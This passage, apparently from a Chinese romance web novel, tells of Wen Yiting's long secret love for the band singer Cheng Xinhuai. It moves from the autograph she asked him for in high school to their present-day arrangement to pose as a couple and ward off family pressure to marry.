让我品尝风雪的滋味,纷扰世界我不了解。
遥远的昨天,迫近的明天,喧嚣回音我不妥协。
请你看清我,懂得我,在月光下回应我。”
明亮的练习室,无风无浪,却在温亦汀心中席卷过一阵沉静柔和的暖风,缠绕不休。
程信淮唱起这首歌时,总会比平常来得更温柔深情,那天生就深情的眼,给人莫名的缠绵。
他微斜着面对她,直视她,时不时看着她。
温亦汀心跳变快,看着程信淮近在眼前,专注地为她唱着歌。
嗓音带点磁性,毫不影响他的清澈,像是一片柔和清淡的月光,挥洒着银光,温柔地将她周身包裹,在一片黑暗中照亮她,在寂静的荒原中,悠悠地对她轻声诉说每一秒的细密情感。
此情此景,如画一般。
她一直都知道,为什么那么多人喜欢质数
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乐队,喜欢程信淮。
以前,是少年的热诚,现在,有点像洗净铅华的沉淀。
不管怎样,他在音乐路上的初心和热忱一直都没有变过,他可以是星光熠熠的大主唱,也可以是随性温柔的程信淮,他总是会给人力量,这是她喜欢和欣赏的点,正是这样的他,像一轮月光,挂在她小小的夜空里熠熠发光。
这首歌是程信淮作词作曲,也是他们乐队的还未成名前的歌曲,算得上乐队的一首超冷门歌曲。
在他们籍籍无名的时候问世,艺术水平上并不高,却在他们心中占据着不一般的地位。
演唱会上不是什么必有歌曲,却是他们平时联系聚会时不可少的曲目。
当然,她很喜欢这首歌的歌词,像是一种感情的寄托,那些词,就好像是在说她,如同她某些方面的写实。
听了无数遍,《一万个旅途》对她,永远有吸引力。
她有时候也很疑惑,不知吸引她的是这首歌还是唱歌的人。
后来这首歌被他的后辈翻唱,她并不觉得多有感染力。她才知晓,吸引她的,是歌,更是人。
“明天,为自己而快乐或尽力。
期待下一个剧情,期待有人时刻能回信。
月光晒干眼泪,明天是否能更懂我的晦涩。”
胸腔涌起的细碎感情,在每一句歌词中跟着沉浮,柔和的嗓音在耳边浅唱,难以割舍。
温亦汀在音乐里飘飖,眼睛里闪烁着刚刚未消散的沉浸之情。
程信淮抬眼,桃花眼里多了几分涌动的波澜,眼角微弯,对着她深情含笑。
明亮的练习室,空旷干净,她坐在他身边,感觉周围空气都在渐渐加热。
她紧紧将手捏成拳,抬眼与他对视。
明晃晃的灯光,氲成一层浓郁的细纱,铺在她和他面前,朦胧而忽远忽近。
他只是坐在练习室的一片方圆之地,温亦汀却感觉,这就是舞台。
舞台中心,程信淮穿着简单的体恤加衬衫,黑发微微垂下,平添几分温柔,暖黄灯光打在他的脸上,让人产生迷离的错觉,像多年之前她见到他的模样。
少女的青春往事总是充满奇妙,比如她,比如和他。
时光交错,流转回高中那个时候。
绿荫渐渐繁盛,已经做好迎接夏日的准备。
北城高中有个习俗,每到五四青年节,学校里都会开展庆祝活动,这个时候,是属于她们学生的欢乐时光。
各个兴趣社团会在通往学校操场的一条水泥道上沿路摆放社团摊位,举行每个社团的活动。
温亦汀和所在的摄影社也在参与行列,不知道是摆点的位置风水好,还是摄影社的魅力大,前来拍照的人很多,一直让她们忙到下午五点多才完全结束。
“一丁,还好有你这个活招牌,不然这里估计门可罗雀。”林君如前来帮忙,却直直盯着温亦汀的脸笑。
脸蛋透亮无暇,桃花眼水灵水灵的,清纯明媚,让人忍不住想要靠近。而且,温亦汀这人随性,完全不会让人有距离感,加上拍照技术很好,能够懂得拍照者的需求,因此也吸引很多人。
“那还是要靠我们君如的三寸不烂之舌,不然他们怎么会来呢。”温亦汀嬉笑着,惹得林君如一阵自豪。
“那确实,这演讲班报得值了。”林君如自顾说着。
最后,众人合力收拾好摊位,合照几张用作留念,陆续散去。
林君如回教室拿书包,温亦汀懒得跟着跑,直接在广场上等待。
接近广场露天舞台的地方,许多人聚集着,好奇心驱使,她开始凑热闹,随着人群的目光往台上瞧。
她的桃花!
不对,是翻墙踩她桃花的人。
相比于那天的匆匆,今天的他在台上有种说不出的松弛与淡定,镇定自若地调整着麦克风,与身边的几个队友传递眼神。
温亦汀不由自主地往台前挤。
几秒后,音乐声清晰入耳,沉稳而澄澈的声线仿佛有魔力,将她包围,惹得她心头微微震颤,莫名被这种不可言喻的声音所触动。
好像被一股电流击中,温亦汀差点浑身起鸡皮疙瘩,是一种喜悦而非可怖。
一种激动在她体内蔓延开。
那天他唱的歌曲她从来没听过。
但完全不影响动听。
去认识他。
温亦汀第一次有了这个大胆的想法。
11. 今晚的天空有一颗流星划过
演唱结束,少年鞠躬后走下台,开始整理东西。不久后他背起吉他,同台演出的队友与他说些什么,他一一回应,笑意清浅畅快。他们簇拥着,互相勾搭着肩膀,犹渐渐往广场的出口方向走去。
聚集的人群渐渐疏散,广场上只有几人驻足。
“刚刚这唱歌的男生是谁啊?好帅。”
“不清楚,在学校里都没见过他。”
“好像是隔壁学校的。”
“隔壁的都是些眼睛长脑袋上的金贵子弟,跑我们这边来干什么?”
“感觉他态度挺随和的,别人跟他讲话特别温和,不像那些眼睛长在头顶上的人。”
“管他呢,不过他长得有点帅,唱歌也唱得好。要是再来,我还继续看。”
“……”
她在稀松的人流里听到了关于他的很多讨论,划过耳际,留下一串回响。
看着人渐渐走远,温亦汀心中不断挣扎......
那天都还没来得及好好感谢他,
他肯定不认得自己了……
去认识他!
温亦汀坚定了刚刚的想法。
或许是幸运神听到了她的决心,少年忽然蹲了下来。
——好像在绑鞋带。
他挥手让队友继续朝前,一个人短暂地落单。
温亦汀见他停下来,吐出一口纠结的闷气。
她紧了紧手掌,飞速从包里拿出一张信纸,鼓起勇气快步上前。就在他站起来正要迈腿时,温亦汀赶到他身旁,清了清声音,“嗯……同学,你唱歌特别好听......可以给我签名吗?”
少年抬眼,显然没有想到她会说这话,望着她愣了一下,淡淡笑开,有些腼腆地摸了摸自己的后脑勺,“抬举了,这真不敢当,不敢当……”
“你真的唱得很好……”她声音飘飘然,语气肯定。
手在空中停滞。
“太抬举了。”
还是重复的话语,但信纸被他接了过去。
温亦汀看着他用手垫着信纸,在那张微黄的纸上会懂笔杆,心中鼓动二窃喜。此时,她还在回味着他温和清澈嗓音里冒出的“抬举”和“不敢当”。
这话说得太谦虚了!
那时温亦汀甚至觉得他有点搞笑,好有趣,正常人应该会道谢或者奉承几句,他说得倒挺独特的。
感觉像是文言文里出来的俊朗才子。
回味间,三个俊秀的行书字赫然印在信纸上,干净利落,和他的人一样。
程信淮。
原来他叫程信淮,好好听的名字。
湛蓝的天空偶尔飘荡几片白云,慢悠悠靠近炙热的夕阳,将它包围。
阳光正渐渐隐去浓烈光芒,转为向西而下的薄红霞光,温亦汀适应这淡淡的光线,朝着面前高大的人看去,明亮的光让她忍不住迷了眼,分明的下颌在她眼前格外明晰,高挺的鼻梁轮廓和谐,利落的身姿挎着一把吉他,脸上挂着温煦的淡笑,落进她的心里。
不知是正好他背对着夕阳,还是温亦汀的幻觉,她看着他在发光。
程信淮身型晃了下,夕阳被挡去明晃晃的刺眼,另一种光撞进她的心里。
温亦汀耳尖开始发红,从他手中接过签名。
她几乎不敢抬头,但又忍不住抬眼看他那迷人的笑容。
心里是慌张的,她自己都明显感觉到指尖的颤抖。
她还想问,对她有没有印象。不过从刚刚的各种情况来看,他应该是完全没印象。
沉思间,耳边传来窸窸窣窣的嘈杂声。
“哟!天呐,阿淮你这不仗义,系鞋带的功夫让我们先走,自己怎么就有迷妹了。”
前面的队友们见人迟迟没跟上,回望看见他身边多了个女生,又八卦地折了回来。
“还是阿淮魅力大,居然都有人来找你签名了!怎么都没人来找我们签名。”几人话里多是惊讶,视线落在温亦汀还没收好的签名上。
要知道,他们经常在学校或是去外面练习唱歌,但至今没人来找他们签名,毕竟也只是个毫无名气的草根乐队罢了。
温亦汀以为趁着短短的时间认识程信淮就好,但是现在让她感到有些不知所措。
重点是!她还没开口要联系方式!!
台上唱歌的几人携带着各自的乐器,也没有要离开的趋势,她在几人中间,恨不得自己能像个地鼠一样,遁地而逃。
到这份上,她不能逃跑,怎么说也是自己主动,得大大方方的,不能半途退缩。
耳朵发烫,估计此时已经都被烧熟了,她硬着头皮,脸上是明媚的笑容,扫视一眼众人,将手中的信纸再一次摊开,“你们每个人都特别特别好,所以我其实是想让你们都给我签名的……”
几人一听笑开了,脸上格外喜悦。
“可以都给我签一下名吗?”她小心翼翼地问,将笔递了出去。
“绝对没问题。”其中一个同样背着吉他的人连忙将她的信纸和笔接过,在上面落下潇洒的字迹。
紧接着,那张信纸在几人中传递,一一落下不一样的名字。
她的视线随着笔尖移动,心下慢慢松了口气,幸好没有和程信淮的签名连上。
时闵,刘远绪,温与季,顺着他们写的次序,温亦汀已经全部将人与名对上号。
“同学,你叫什么名字?”程信淮问她。
“我叫……”
“一丁!一丁!”身后不远处传来一声呼喊,温亦汀转身,看到林君如笑得开心,朝着她的方向挥手跑来。
还没来得及开口,耳边传来调侃,“哟,林君如来了,你的小青梅啊……”
这话是刚刚几人中的那个吉他手说的。
小青梅?说的林君如?
林君如脚步顿了一下,挽过温亦汀的手,朝她笑嘻嘻,“我还以为你抛弃我自己先走了呢。”
温亦汀摇了摇头,欲哭无泪。她着实没意料这样的场面还能被林君如撞上,她不知该怎么解释,因为她就是一时莽撞的大胆决定,直接冲到了程信淮面前,然后演化成在这一群人中……
“哇,君如,这是你朋友啊?”
温亦汀听得迷糊,看了看几人,又看了看林君如,渐渐明白,几人似乎是认识的。
林君如看了看她,“对啊,我好朋友温亦汀。”在她的手臂上加重了些力道,抱得更紧,“你们今天怎么来了?”
“有时间就过来了,刚好你们今天青年节。”
林君如点了点头,不以为然,想起刚刚看到的一幕,几个个大身高的男人,脸上笑着,无比随意,围着个子并不怎么高的温亦汀,远远看着挺让人浮想联翩,“你们围着她做什么?欺负她?”
“没想到是你朋友……我们怎么可能随便欺负人。再说了,现在这位同学……温亦汀同学是吧,可是我们的粉丝了!”这个背着吉他的时闵看着话比较多,全程都没闭上过嘴。
“准确地说,是第一个粉丝,还是找我们签名的那种。”刘远绪补充。
“有没有可能,只是我的第一个粉丝,你们只是顺带的,她不好意思让你们难堪。”刚刚唱歌清爽的声线悠悠出声,在温亦汀耳边环绕,绕得她脸上发烧。
果然犀利,温亦汀就是这么想的……
“你可别自恋了。她让我们都签名了,是我们的粉丝!”
温亦汀:“……”
几人一言一语,毫无距离感。
温亦汀在他们之间,从尴尬渐渐化为一种不可言说的隐约喜悦。林君如认识程信淮他们,那这算不算是一条隐秘的线,可以将她和程信淮拉近,至少,不会是陌生人。
“我的荣幸,以后我经常找你们签名。”温亦汀鼓足勇气,又开心,又压制,笑着开口,视线在程信淮身上悄悄转了好几圈
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。
那时候,她真正认识他。
成为他的第一个粉丝。
后来,签名这事,于他,只是顺手的习惯,于她,是小心收藏的情感。
程信淮唱得沉浸,她也听得入神。
“一丁,听得都魔怔了?我应该也不会这么神吧,能给你催眠?”
曲终,温亦汀被程信淮的玩笑话拉回现实。
“可能有这个魔力吧。”她笑着回应,脑海里的回忆停歇。
“我表示怀疑。”
“你唱,就是有这种魔力。”温亦汀想了想,脑海里还在回忆着曾经要签名的场景。
她瞥了一眼手边的包包,里面装着她多年随身常带的信纸和笔。
心下一定,她将它们拿出来,“你唱得这么好,所以……程同学,可以给我签个名吗?”
她将纸笔递到程信淮面前,像以前一样,说着相似的话,笑容潺潺,和从前如出一辙。
只她自己知道,心境不一样了。
程信淮看着她的笑容,眼神在灯光的照射下格外明亮,“抬举了,温同学。”
他笑得和煦,接过她的纸和笔,十分自然地落下一个飒爽利落的笔迹。
一如当年。
温亦汀盯着他的签名,有些感叹,那时他说抬举了,不敢当……她记得格外清楚,谦逊有礼,现在也一样。
签名成熟爽利,与以前的签名笔迹已有差别变化。在这么多年的签名训练里,他早已经变得越来越熟练。
他成了所有人的大主唱,她还只是悄悄喜欢他的温亦汀。
有些难言的感伤,她又开始庆幸自己拥有他的第一个签名,也拥有他很多个签名。
或许,暗恋者的宿命,就是在心中反复忐忑,反复揣摩,然后自我满足。
“没想到你还有这个习惯呢?”程信淮看着她将那张签名纸收进包里,忍不住感叹。
据他的记忆,在曾经籍籍无名的时候,他们对音乐一腔热血,四处卖唱,偶尔有粉丝,也只是短暂的,几乎没什么人是一直看着他们,只有温亦汀和林君如一直坚持着。
或许是出于朋友关系,温亦汀一直都用一种特别的方式鼓励着他,每次见面,她都随身携带着几张信纸,碰上就让他签名。
有时候他调侃她,她也只是说怕以后他出名了,要签名很难,所以碰见了就签名,开始把签名攒着。
程信淮狠感谢她,或许也是这些签名,让他有了更多的肯定和动力。
高中的那两年,他签得很多,像是一种习惯了一样,碰见温亦汀,就习惯性地让她把纸拿出来签名。
八年未见,他的签名也搁置。
这一次,温亦汀跟他要签名时,他突然想到了自己初出茅庐的那个时候,心生感叹。
此时,程信淮也感到稀奇,他似乎很喜欢这种,给温亦汀签名的感觉,这是在给其他粉丝签名时所没有的喜悦与安心。
“习惯了。”温亦汀笑着回应,“过了这么久,是不是都不愿意给我签了?”
“怎么会,第一个粉丝,签名绝对有求必应。”程信淮拍了拍她的肩,笑得格外随和,他没有跟她说自己还挺喜欢给她签名的,说了,总感觉怪怪的。
温亦汀抬眼看他,恰好与他对视,笑得清澈。
“你要了这么多签名,用什么去了?”诚信淮好奇,她要了这么多签名,最后的归宿是哪里。
温亦汀顿了下,狡黠一笑,故作神秘,“这是个秘密。”
程信淮看着她故作神秘的样子,莫名觉得有点好笑,又觉得有几分可爱,“该不会成为商业秘密了吧?”
温亦汀递了个眼神给他,像是在说你居然这样想我!
“不是。”
“其实挺感谢你的……”语调虽散漫,温亦汀还是听出了认真。
“所以,不管成为什么秘密,都没问题。”
12. 在预言着什么
程信淮想,不管她是拿去售卖又或是做人情送人,都没关系。毕竟,他只是个唱歌的,能把自己的词曲唱进人的心里,给人鼓舞或是力量,让人开心或是快乐,就已经很好了。
他的签名若是能让人开心,何尝不是一件好事。
温亦汀心头突然滑过一阵暖流,转头看他,对方朝她一笑。
“我没有用你的签名乱来,我也绝对不会这样做。”温亦汀认真道。
“我知道。”程信淮当然知道她的品行,摸了摸她头顶的黑发,像是一种宠溺的回应。
“有时候闲下来发呆的时候,还会想起以前籍籍无名的时候,没现在这么多粉丝,”他慢悠悠地说着,眼里染上一种怀旧之感,“那个时候,也就只有你一直要签名了。”
“我也算是慧眼识珠,赶上了好时候。”温亦汀被他淡然的倾诉放松了警惕。
“可能你也是因为出于朋友的支持……不过也不错,感谢支持。”
温亦汀想反驳,但是忍住了。
“说起以前的签名,我自己都有点记不起来是什么样的了。”
温亦汀听出了深切的感叹。
“我可以借你回忆回忆……”她慢吞吞地开口。
“只能借?”程信淮缓缓从椅背上坐起来,对这个借字感到惊讶。
“你签了就是我的了。”
“我是本人也不行?”
“不行。”
“小气鬼。”程信淮笑她,像是关系还不错的朋友之间的打趣。
温亦汀:“……”
两人不尴不尬地坐在练习室里。
沉默着。
“后天公司里有个重要的会议要去一下,去我妈那边会稍微晚点。”程信淮看了会儿手机,向着她解释。
温亦汀想了想,明白他说的是周六的家长见面。
“没问题。”
“到时候我结束了来接你,会议差不多中午结束。”他的嗓音清淡,即征求她的意见,也带着几分商量。
“好……你结束提前跟我说。”
“好,谢谢。”程信淮松了口气,顿了片刻,开始问起她
“你跟家里说我们的事了吗?”
温亦汀卡壳,点了点头。
“没要你带我回去看看?”程信淮疑惑。
“还没……要是说了再通知你吧。”
程信淮点了点头,“行,记得提前说。”顿了一会儿,他又道,“打算让君如知道吗?”
“你呢?”她反问。
“我已经告诉他们了,他们知道了也好打掩护,不知道的话后面容易出岔子。”程信淮给她解释一番,将个中利害分析得很在理,“如果你不想让君如知道的话,就先瞒着。”
“你都告诉他们了,君如知道是迟早的事。”
程信淮眼睛直直的看着她,“抱歉,没和你商量就先决定了。”
温亦汀摇头说了句没事。
她脑子里还在思考,到时候如果林君如追问她家里怎么就开始催婚了的对策,心中默叹一口气,“纸总是包不住火的。”
一声轻笑在她面前绽开,“怎么说得我们像地下情一样。”
温亦汀脸上一热,嘟囔着,“告诉他们就不像了。”
她微微低垂着头,突然,程信淮的手在她头上摸了摸,“等下就转地上情。君如和他们说一会儿过来,他们还不知道是你,等下吊吊他们胃口,怎么样?”
头上的手随意移开,她看到他脸上淡淡的笑容,似乎心情很好。
“你还蛮讨厌的……”温亦汀评价道。
“这不也算是给他们的惊喜么。”
温亦汀想了想,“那到时候我在他们最好奇的时候说。”
程信淮:“你也蛮讨厌的……”
没过多久,其他人就来了,排练室变得热闹。
温亦汀去了趟洗手间,再进去,排练室的休息区域里有人开始惊呼,“快说说吧,阿淮,你的大新闻!”
温亦汀站在不远处,将视线移到程信淮身上,他正似笑非笑地与她传递着什么。
她当然知道是什么大新闻了。
“短短几天,阿淮就有女朋友了!”时闵表示惊叹,“我倒要看看,是哪个眼瞎的。”
温亦汀忍不住咳嗽一声,感觉自己被骂到了。
“一丁你感冒了啊?”队友关心地问了一句。
“没,呛到了。”
“你从哪里找的演员,给了多少钱,又帮你骗人。”林君如反应快,一针见血。
“能不能说点好听的话。”程信淮瞥了她一眼,手上还拨弄几下吉他弦,表示反对。
“你女朋友什么时候来?我们都等着了。”练习室里满是众人对程信淮女朋友的八卦。
温亦汀不吱声,轻轻张了张眉,他的女朋友……
可不就在这里。
脑补着大家因为惊吓而目瞪口呆的样子,她心中有了点恶趣味,开始窃喜。
程信淮没有立马回答,身姿挺拔,朝着她的方向缓缓走来,最后坐在了她身边,视线在温亦汀身上看了两眼,才幽幽开口,“你不说两句?”
温亦汀对上他含笑的眼,也忍不住笑了起来,假装随意,“他女朋友已经来了。”
“来了?哪儿呢?”时闵一听,转脸朝排练室门口看。
众人也都看向外面,整个练习室,只有两人视线没有任何变化。
温亦汀看着众人此时好奇且急切地行为,像是一排引颈注目的大白鹅。
她忍不住悄悄笑起来,转头正与程信淮视线相撞。两人相视而笑,程信淮甚至在这个间隙拍了张照。
她觉得程信淮有时候也挺无聊的,卖关子就算了,还要留黑历史。
不过,众人的反应确实很好笑。
她抿了抿唇,压下笑意,缓缓把手举起来,在众人视线里晃了晃,“在这儿。”
短短三个字,众人将视线一齐聚到了两人身上。
程信淮一身慵懒背靠沙发,温亦汀乖乖地坐在他的身边,两人靠得并不近。可温亦汀的话却将两人无形中拉近。
这两人,什么时候,成了男女朋友!
温亦汀将摇晃过后的手收了回去,看着几人眼里满是惊讶,莫名有点紧张得想咽口水。
在他们心中,温亦汀是曾经青葱岁月的“战友”啊!突然成了程信淮的女朋友,真是意想不到。
“你们俩……什么时候在一起的?”最惊讶的就是林君如,嘴巴渐渐从大o变回原样,接受着这个突如其来的消息。
这么多年的了解,她知道温亦汀的性子,对待任何事都很慎重,在感情方面也是,短短时间里就成了程信淮的女朋友,很难不怀疑,也很难不惊讶。
她突然想到了那天温亦汀说的话。
“就……前两天。”温亦汀仔细回想,准确来说,还是那天下午。外面下着雨,他们伴着雨幕商量,最后一齐走进雨幕。
“认真的?”林君如视线在两人之间看了又看,最后眼睛直直地看向温亦汀。
温亦汀对上她的视线,点了点头,眼神坚定,嘴角漾开一个浅笑,“认真的。”
林君如看了她好一会儿,欲言又止,问得直白,“你是阿淮的演员还是什么?”
心口一顿,温亦汀感到有什么东西在她心口扎了一下。
“我是他的演员,他也是我的演员。”
“什么意思?”
“我家里也在催……”
温亦汀压住心虚,观察着林君如的细微表情。
“不应该吧……”果然,林君如还是会这么说。
“什么不应该?”时闵插话问道。
温亦汀朝林君如投去一种怪异的目光,两人交换了下眼神,林君如大概懂了。
“没想到一丁一回来就要饱受相亲催婚的折磨,太恐怖了。”林君如解释,眼睛却看了温亦汀好几眼,似乎是在说,等下听你好好解释。
对于两人短短时间就成了男女朋友这件事,众人接受得很快,或许在他们心里,早就明了这只是两人为了躲避特殊情况所采取的措施。
“这么说我就明白了,你们就是彼此的挡箭牌呗。”有人一语中的,将隐晦的关系直接摊开。
“看来不傻。”程信淮幽幽吐槽,证明了这句话的真实性。
温亦汀只能在一旁干笑,笑得心里很郁闷。
“不过,你们俩在一起,也装得像一点啊,刚刚我们可没一个人看出来你们俩有什么情况。”刘远绪突然开口,同时
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向两人投来一个无语的目光。
“不是都说了是彼此的演员,没其他人的时候,有什么好装的。演员也是要休息的好吧。”懒散的话语飘在耳边,萦绕生风,刮得温亦汀耳后一凉。
原来无所谓的话也这么令人难过,即使她做了很多次心理准备。
“总要走点心吧,你说对不对,一丁?”
有人cue她。
笑容一直没有消散,像是凝固在了脸上,“在你们面前,当然没关系了。”
时闵视线又看了看两人,思索了一番,“说实话,还挺想看你俩像正常情侣那样,感觉……一定很好笑,我都准备好嘲笑阿淮了!”
温亦汀:“……”
程信淮:“……”
“有一说一,我火眼金睛,从刚刚的行为举止来看,你们搂搂抱抱都没有,手也不牵,一点都不像情侣。”温与季开始提醒,视线扫了扫两人,“阿淮你又不是不知道你家里那几人,眼睛贼尖,要是回去见人,那不是分分钟露馅。你之前又不是没带过些演员回去,哪回不是被拆穿。”
程信淮:“……”
“……你们啊,多练练怎么当情侣吧。”时闵嘴像开了闸一样,说起话来也毫不避讳。
众人也附和。
程信淮在他们的议论声里不以为然,“我们哈挺合得来的,演起来应该比较顺利。”
“那总要提前适应一下在家人面前什么样吧。”
“还想占我们便宜?没门儿。”程信淮拒绝了,重新躺进了沙发。
“……”
众人只是开玩笑,也并没有再过多纠结于两人之间的这种状态。
因为大家心知肚明,两人互为演员罢了。
也没什么特别多当真的必要。
“一丁,你现在可是阿淮的女朋友,以后直接让阿淮天天绕着你唱歌,这也算是阿淮的那么一点用处了。”时闵的嘴很损,又发现程信淮有了女朋友,忍不住眼红,将他调侃了遍。
“确实,狠狠虐待他。他吃的亏还是太少了。”
“用帮他演戏威胁他,让他对你马首是瞻……”
“……”
没一会儿,乐队几人被叫去隔壁开什么会议,只有她和林君如在排练室里坐等闲聊。
“怎么就突然找上阿淮当挡箭牌了?老实告诉我。”林君如面对着她,些微严肃。
“他不是刚好也有这样的情况么。”温亦汀回答得脸不红心不跳,脸上还挂着一个单纯的笑容,十分随意。
林君如深深看了她一眼,“你家里催婚,这一点就不成立!”
温亦汀:“……”
见她答不出来,林君如又换了个方向,“这么多年,第一次见你这么草率。”
“很草率吗?”温亦汀否认。
“很草率,草率得让我觉得你其实是另有目的……”
林君如自然看得出来,但并不知道具体为何。
另一方面,她只是觉得温亦汀找其他人都好,找程信淮,不太好。
但此时已成定局,她再说,只会是马后炮。
“能有什么目的。”温亦汀将脸撇开,垂下头来,把玩着自己的手指。
“到底怎么想的?”林君如又问了一遍。
温亦汀头脑风暴,还在找借口。
“好吧,你说谎真的太拙劣了,你家里,你妈根本就不可能会……”
“不是因为家里。”
温亦汀抬眼看向林君如,又望向前面张贴的乐队海报,程信淮站在中间,好似在对她笑,“君如,好像喜欢一个人真的挺难放弃的……”
林君如顿了一下,“一丁……”
“那天你说,如果一个人值得喜欢,做一次勇敢的行为也是值得的。我想再坚持一下,再多一点时间去靠近他。到最后,不管什么结果,我也没什么遗憾,那时候,我就铁定心放弃。”
这个理由挺烂的,但她突然想不出其他什么理由,而且,这也是她的心里话,只是她说的对象和林君如想的对象不一样罢了。
林君如突然知道了她的目的,心疼又埋怨,“你真的是一根筋。学长真的有那么好吗?”
“喜欢谁?一丁,学长是谁?”偌大的排练室里又回荡起八卦的声音。